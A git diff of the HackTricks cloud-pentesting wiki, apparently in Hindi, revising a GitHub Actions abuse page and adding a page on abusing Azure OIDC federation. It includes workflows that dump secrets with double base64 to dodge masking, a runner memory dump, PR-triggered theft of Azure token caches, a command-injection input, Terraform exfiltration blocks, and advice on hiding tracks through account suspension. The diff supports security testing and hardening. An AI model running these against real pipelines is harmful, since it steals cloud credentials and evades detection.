pull_request] @@ -456,27 +456,31 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### OIDC के माध्यम से AWS और GCP तक पहुँच +### AWS, Azure और GCP को OIDC के माध्यम से एक्सेस करना -निम्न पृष्ठ देखें: +निम्नलिखित पृष्ठों की जांच करें: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} ### secrets तक पहुँच -यदि आप किसी script में content inject कर रहे हैं तो यह जानना उपयोगी है कि आप secrets तक कैसे पहुँच सकते हैं: +यदि आप किसी script में content inject कर रहे हैं तो यह जानना दिलचस्प है कि आप secrets तक कैसे पहुँच सकते हैं: -- यदि secret या token को एक **environment variable** में सेट किया गया है, तो इसे सीधे environment के माध्यम से **`printenv`** का उपयोग करके access किया जा सकता है। +- यदि secret या token किसी **environment variable** में सेट है, तो उसे environment के माध्यम से सीधे **`printenv`** का उपयोग करके access किया जा सकता है।
-Github Action output में secrets सूचीबद्ध करें +Github Action output में secrets की सूची ```yaml name: list_env on: @@ -526,7 +530,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- यदि secret का उपयोग **directly in an expression** किया जाता है, तो generated shell script **on-disk** पर स्टोर होता है और उपलब्ध रहता है। +- अगर secret को **directly in an expression** में इस्तेमाल किया जाता है, तो generated shell script **on-disk** पर स्टोर होता है और एक्सेस किया जा सकता है। - ```bash cat /home/runner/work/_temp/* ``` @@ -534,7 +538,7 @@ cat /home/runner/work/_temp/* - ```bash ps axe | grep node ``` -- एक **custom action** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि कोई program उस **secret** का उपयोग कैसे कर रहा है जो उसे **argument** से मिला है: +- एक **custom action** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि कोई प्रोग्राम उस **argument** से प्राप्त secret का उपयोग कैसे कर रहा है: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- secrets context (collaborator level) के माध्यम से सभी secrets को enumerate करें। write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है। GitHub के log masking से बचने के लिए double base64 का उपयोग करें और लोकल रूप से decode करें: +- secrets context के माध्यम से सभी secrets को enumerate करें (collaborator level)। write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है। GitHub’s log masking से बचने के लिए double base64 का उपयोग करें और लोकल में decode करें: ```yaml name: Steal secrets @@ -558,31 +562,31 @@ run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` -लोकल रूप से decode करें: +लोकल में decode करें: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -टिप: परीक्षण के दौरान stealth के लिए, printing से पहले encrypt करें (openssl पहले से GitHub-hosted runners पर preinstalled है)। +Tip: टेस्टिंग के दौरान stealth के लिए, print करने से पहले encrypt करें (openssl पहले से GitHub-hosted runners पर preinstalled है)। ### Self-hosted runners का दुरुपयोग -यह पता लगाने का तरीका कि कौन से **Github Actions are being executed in non-github infrastructure**, वह Github Action configuration yaml में **`runs-on: self-hosted`** को search करना है। +यह पता लगाने का तरीका कि किन **Github Actions are being executed in non-github infrastructure** है कि Github Action configuration yaml में **`runs-on: self-hosted`** को search करें। -**Self-hosted** runners को **extra sensitive information**, अन्य **network systems** (नेटवर्क में vulnerable endpoints? metadata service?) तक access मिल सकता है, या, भले ही यह isolated हो और destroy कर दिया जाए, **more than one action might be run at the same time** और malicious action दूसरे का **secrets** चुरा सकता है। +**Self-hosted** runners को अतिरिक्त sensitive information, अन्य **network systems** (network में vulnerable endpoints? metadata service?) तक पहुँच हो सकती है या, भले ही वह isolated हो कर destroy कर दिया जाए, **एक से अधिक action एक साथ चल सकते हैं** और malicious action दूसरे के **secrets** चुरा सकता है। -Self-hosted runners में मेमोरी dump करके **secrets from the \_Runner.Listener**\_\*\* process\*\* प्राप्त करना भी संभव है, यह process किसी भी step पर workflows के सभी secrets को रखेगा: +Self-hosted runners में यह भी संभव है कि **secrets from the \_Runner.Listener**\_\*\* process\*\* प्राप्त किए जा सकें जो किसी भी step पर workflows के सभी secrets को contain करेगा, इसकी memory dump करके: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -जानकारी के लिए [**इस पोस्ट को देखें**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +देखें [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -यह संभव है कि Github actions बनाए जा सकें जो **Github के अंदर एक Docker image बनाकर स्टोर करें**.\\ -निम्न विस्तार योग्य सेक्शन में एक उदाहरण दिया गया है: +यह संभव है कि Github actions बनाए जा सकते हैं जो **Docker image को Github के अंदर build और store करेंगे**.\ +निम्न expandable में एक उदाहरण देखा जा सकता है:
@@ -619,7 +623,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e जैसा कि आप पिछले कोड में देख सकते हैं, Github registry **`ghcr.io`** पर होस्ट है। -repo पर read permissions वाले एक user तब personal access token का उपयोग करके Docker Image डाउनलोड कर सकेगा: +repo पर read permissions वाले एक उपयोगकर्ता तब personal access token का उपयोग करके Docker Image डाउनलोड कर सकेगा: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -632,16 +636,16 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### Github Actions logs में संवेदनशील जानकारी -भले ही **Github** actions लॉग्स में **detect secret values** और उन्हें **avoid showing** करने की कोशिश करे, action के निष्पादन के दौरान उत्पन्न हुई **other sensitive data** छिपायी नहीं जाएगी। उदाहरण के लिए, एक JWT जो किसी secret value से साइन किया गया है वह तब तक छिपाया नहीं जाएगा जब तक कि वह [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) न हो। +भले ही **Github** actions logs में **detect secret values** करने की कोशिश करे और उन्हें **avoid showing** करे, action के execution में जनरेट हुआ **other sensitive data** छिपाया नहीं जाएगा। उदाहरण के लिए, एक JWT जो secret value से साइन किया गया है, तब तक छिपाया नहीं जाएगा जब तक कि इसे [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) न किया गया हो। -## अपने निशान छुपाना +## अपने निशान छिपाना -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) सबसे पहले, कोई भी PR जो उठाया गया है वह GitHub पर और टार्गेट GitHub अकाउंट पर सार्वजनिक रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **can’t delete a PR of the internet**, पर एक ट्विस्ट है। जिन Github accounts को Github द्वारा **suspended** किया जाता है, उनके सभी **PRs are automatically deleted** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी activity छुपाने के लिए आपको या तो अपना **GitHub account suspended or get your account flagged** कराना होगा। इससे GitHub पर आपकी **hide all your activities** इंटरनेट से छिप जाएँगी (बुनियादी रूप से आपके सभी exploit PR हट जाएँगे)। +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) सबसे पहले, कोई भी PR उठाया गया हो वह Github पर और target GitHub account के लिए सार्वजनिक रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **can’t delete a PR of the internet**, पर एक मोड़ है। उन Github accounts के लिए जो Github द्वारा **suspended** होते हैं, उनके सभी **PRs are automatically deleted** और internet से हटा दिए जाते हैं। इसलिए अपनी activity छिपाने के लिए आपको या तो अपना **GitHub account suspended or get your account flagged** कराना होगा। इससे GitHub पर आपकी सभी गतिविधियाँ इंटरनेट से **hide all your activities** हो जाएंगी (असल में आपके सभी exploit PR हट जाएंगे) -GitHub में एक organization अकाउंट्स को रिपोर्ट करने में बहुत proactive होती है। आपको बस Issue में "some stuff" शेयर करना होगा और वे सुनिश्चित कर देंगे कि आपका अकाउंट 12 hours में suspended हो जाए :p और बस, आपकी exploit GitHub पर invisible हो जाएगी। +An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. > [!WARNING] -> किसी organization के लिए यह पता लगाने का единमात्र तरीका यह होगा कि वे SIEM से GitHub logs चेक करें क्योंकि GitHub UI से PR हटा दिया जाएगा। +> किसी organization के लिए यह पता लगाने का एकमात्र तरीका यह है कि वे SIEM से GitHub logs की जांच करें क्योंकि GitHub UI से PR हटा दिया जाएगा। ## संदर्भ diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..5e683d9ae --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,227 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## अवलोकन + +GitHub Actions OpenID Connect (OIDC) का उपयोग करके Azure Entra ID (formerly Azure AD) के साथ फ़ेडरेट कर सकता है। एक GitHub workflow एक short‑lived GitHub ID token (JWT) मांगता है जो रन के विवरण को encode करता है। Azure इस token को App Registration (service principal) पर मौजूद Federated Identity Credential (FIC) के खिलाफ validate करता है और इसे Azure access tokens (MSAL cache, bearer tokens for Azure APIs) के लिए exchange कर देता है। + +Azure कम से कम निम्न का सत्यापन करता है: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (जब Azure tokens के लिए एक्सचेंज करते समय) +- sub: configured FIC Subject identifier से मेल खाना चाहिए + +> डिफ़ॉल्ट GitHub aud एक GitHub URL हो सकता है। Azure के साथ एक्सचेंज करते समय, स्पष्ट रूप से audience=api://AzureADTokenExchange सेट करें। + +## GitHub ID token quick PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +टोकन अनुरोध पर Azure audience को मजबूर करने के लिए: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure setup (Workload Identity Federation) + +1) App Registration (service principal) बनाएँ और न्यूनतम अनुमतियाँ दें (उदा., किसी विशिष्ट storage account पर Storage Blob Data Contributor)। + +2) Federated identity credentials जोड़ें: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: लक्षित workflow/run context के अनुरूप कड़ाई से स्कोप करें (नीचे Scoping and risks देखें)। + +3) azure/login का उपयोग करके GitHub ID token एक्सचेंज करें और Azure CLI में साइन इन करें: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +मैन्युअल एक्सचेंज का उदाहरण (Graph स्कोप दिखाया गया है; ARM या अन्य संसाधन समान रूप से): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) संरचना और कस्टमाइज़ेशन + +डिफ़ॉल्ट sub प्रारूप: repo:/: + +Context मानों में शामिल हैं: +- environment: +- pull_request (PR तब ट्रिगर होता है जब यह किसी environment में नहीं होता) +- ref:refs/(heads|tags)/ + +payload में अक्सर मौजूद उपयोगी claims: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +अतिरिक्त claims शामिल करने और टकराव का जोखिम कम करने के लिए GitHub API के माध्यम से sub संरचना को कस्टमाइज़ करें: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +नोट: environment नामों में कोलन URL‑encoded (%3A) होते हैं, जो पुराने delimiter‑injection ट्रिक्स को sub parsing के खिलाफ हटाते हैं। हालाँकि, non‑unique subjects (उदा., केवल environment:) का उपयोग अभी भी असुरक्षित है। + +## FIC subject प्रकारों का स्कोप और जोखिम + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- जोखिम: अगर ब्रांच/टैग अप्रोटेक्टेड है, तो कोई भी contributor पुश करके टोकन प्राप्त कर सकता है। +- Environment: sub=repo:/:environment: +- जोखिम: अप्रोटेक्टेड environments (कोई reviewers नहीं) contributors को टोकन बनाने की अनुमति देते हैं। +- Pull request: sub=repo:/:pull_request +- सबसे अधिक जोखिम: कोई भी collaborator PR खोलकर FIC को पूरा कर सकता है। + +PoC: PR‑triggered token चोरी (azure/login द्वारा लिखा गया Azure CLI cache को exfiltrate करना): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +संबंधित फ़ाइल स्थान और नोट्स: +- Linux/macOS: ~/.azure/msal_token_cache.json az CLI सत्रों के लिए MSAL टोकन रखता है +- Windows: msal_token_cache.bin user profile के अंतर्गत; DPAPI‑protected + +## Reusable workflows and job_workflow_ref scoping + +एक reusable workflow को कॉल करने से GitHub ID token में job_workflow_ref जुड़ जाता है, उदा.: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +FIC उदाहरण: caller repo और reusable workflow दोनों को बाइंड करने के लिए: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +caller repo में claims कॉन्फ़िगर करें ताकि repo और job_workflow_ref दोनों sub: में मौजूद हों +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +चेतावनी: यदि आप FIC में केवल job_workflow_ref को bind करते हैं, तो एक attacker उसी org में एक अलग repo बना सकता है, उसी ref पर वही reusable workflow चला सकता है, FIC को satisfy कर सकता है, और tokens mint कर सकता है। हमेशा caller repo भी शामिल करें। + +## job_workflow_ref protections को बाइपास करने वाले कोड निष्पादन वेक्टर + +सही तरीके से scoped job_workflow_ref होने के बावजूद, कोई भी caller‑controlled डेटा जो सुरक्षित quoting के बिना shell तक पहुँचता है, protected workflow context के अंदर कोड निष्पादन का कारण बन सकता है। + +उदाहरण: कमजोर reusable step (unquoted interpolation): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +कमांड निष्पादित करने और Azure token cache को exfiltrate करने के लिए दुर्भावनापूर्ण कॉलर इनपुट: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## PRs में execution primitive के रूप में Terraform plan + +Terraform plan को कोड निष्पादन के रूप में मानें। plan के दौरान, Terraform कर सकता है: +- file() जैसे functions के माध्यम से किसी भी फ़ाइल को पढ़ सकता है +- external data source के माध्यम से commands execute कर सकता है + +Example to exfiltrate Azure token cache during plan: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +या arbitrary commands चलाने के लिए external का उपयोग करें: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts. + +## हार्डनिंग चेकलिस्ट + +- सेंसिटिव FICs के लिए कभी sub=...:pull_request का उपयोग न करें +- किसी भी branch/tag/environment की रक्षा करें जो FICs द्वारा संदर्भित हो (branch protection, environment reviewers) +- reusable workflows के लिए repo और job_workflow_ref दोनों पर scoped FICs को प्राथमिकता दें +- GitHub OIDC sub को कस्टमाइज़ करें ताकि इसमें unique claims शामिल हों (e.g., repo, job_workflow_ref, repository_owner) +- caller inputs का unquoted interpolation run steps में न होने दें; encode/quote सुरक्षित तरीके से करें +- terraform plan को code execution की तरह मानें; PR contexts में identities को प्रतिबंधित या अलग करें +- App Registrations पर least privilege लागू करें; plan और apply के लिए अलग identities रखें +- actions और reusable workflows को commit SHAs पर pin करें (branch/tag pins से बचें) + +## मैनुअल टेस्टिंग टिप्स + +- इन‑वर्कफ्लो में GitHub ID token का अनुरोध करें और masking से बचने के लिए इसे base64 में प्रिंट करें +- JWT को decode करके claims जांचें: iss, aud, sub, job_workflow_ref, repository, ref +- मैन्युअली ID token को login.microsoftonline.com के खिलाफ एक्सचेंज करके FIC matching और scopes की पुष्टि करें +- azure/login के बाद ~/.azure/msal_token_cache.json पढ़ें ताकि token material की उपस्थिति सत्यापित की जा सके + +## संदर्भ + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}